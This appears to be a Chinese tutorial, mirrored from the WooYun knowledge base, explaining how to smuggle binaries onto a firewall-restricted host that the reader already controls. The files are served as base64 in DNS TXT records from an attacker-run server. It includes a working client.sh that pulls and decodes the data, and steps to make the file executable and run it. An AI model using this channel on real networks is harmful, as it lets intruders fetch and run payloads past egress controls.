透過dns進行檔案下載

wyzsk發表於2020-08-19
作者: 我是壯丁 · 2014/03/31 11:07

0x00 背景


偶爾會遇到這樣的情況,防火牆規則極大的限制外網的訪問(這種情況經常是一個白名單來處理,僅僅允許少量的主機和外網產生連線)想要下載一下二進位制檔案到目標主機上,就會很麻煩。

我們來假設這樣的一個情景:你已經擁有在上述情況下的主機、需要和你的本機傳輸工具或者資料。在這個情景下面、你被限制了下載,有一個好辦法來突破這種限制,那就是透過DNS查詢的來獲得想要的資料。

如果目標機器的設定的DNS(或者任何只要目標主機能夠在網路上訪問的DNS伺服器)能夠在網路上做DNS查詢。那就能夠下載想要的二進位制檔案。

0x02 原理


不瞭解這項技術的人可能以為是下面這樣的流程:

目標主機<---->網路上的DNS伺服器<---->註冊域名伺服器<---->攻擊者的遠端主機

其實是這樣的流程:

目標主機<---->構建的DNS伺服器

只要目標主機能夠和搭建的DNS伺服器進行DNS解析就可以實現。

方法就是在服務端透過base64來編碼這些特殊檔案,對編碼後的檔案分塊,同時新增到DNS Server的記錄中,然後在目標主機上進行域名的解析請求,DNS伺服器返回base64編碼,在對base64編碼進行解碼,這樣就實現了檔案下載。

0x03 實現


使用方法:

1、對需要執行server.py指令碼的伺服器進行配置
2、在伺服器上,執行python server.py -f fielname
3、在客戶端上,執行sh client.sh dns.testdomain.com
4、這時你應該看到client和server開始產生base64的除錯輸出。client會把base64的編碼寫到本地檔案中,同時在結束傳輸時解碼

0x03a Python程式碼匯入了幾個庫,這些庫可能需要單獨安裝:

dns和argparse,在安裝argparse的時候可能會報錯,根據報錯安裝所需的庫,即可正常執行server.py

PS:在https://pypi.python.org/ 能夠下載到

server.py有三個引數:

-f  指定需要分割的二進位制檔案
-q  靜默模式,不在終端上輸出日誌資訊
-s  指定開始的dns解析的子域,必須設定成一個數字client.sh中的i,必須和-s指定的一樣。預設是0

0x03b 在server上執行server.py,建立DNS伺服器,a.out是一個二進位制檔案。

enter image description here

在目標主機上執行

0x03c sh client.sh domain

會產生以下輸出

enter image description here

0x03d 指令碼會對接受的base64的編碼進行解碼,新增執行許可權後就可執行,執行二進位制檔案。

enter image description here

0x04 原始碼


server.py下載地址

https://github.com/breenmachine/dnsftp

client.sh指令碼

#!bash
#!/bin/bash
error=';; connection timed out; no servers could be reached'
i=0
echo ''> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
  then
    echo "Timeout - done"
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d >> output

檔案打包下載:dnsftp-master.zip

翻譯出處:

http://breenmachine.blogspot.com/2014/03/downloading-files-through-recursive-dns.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章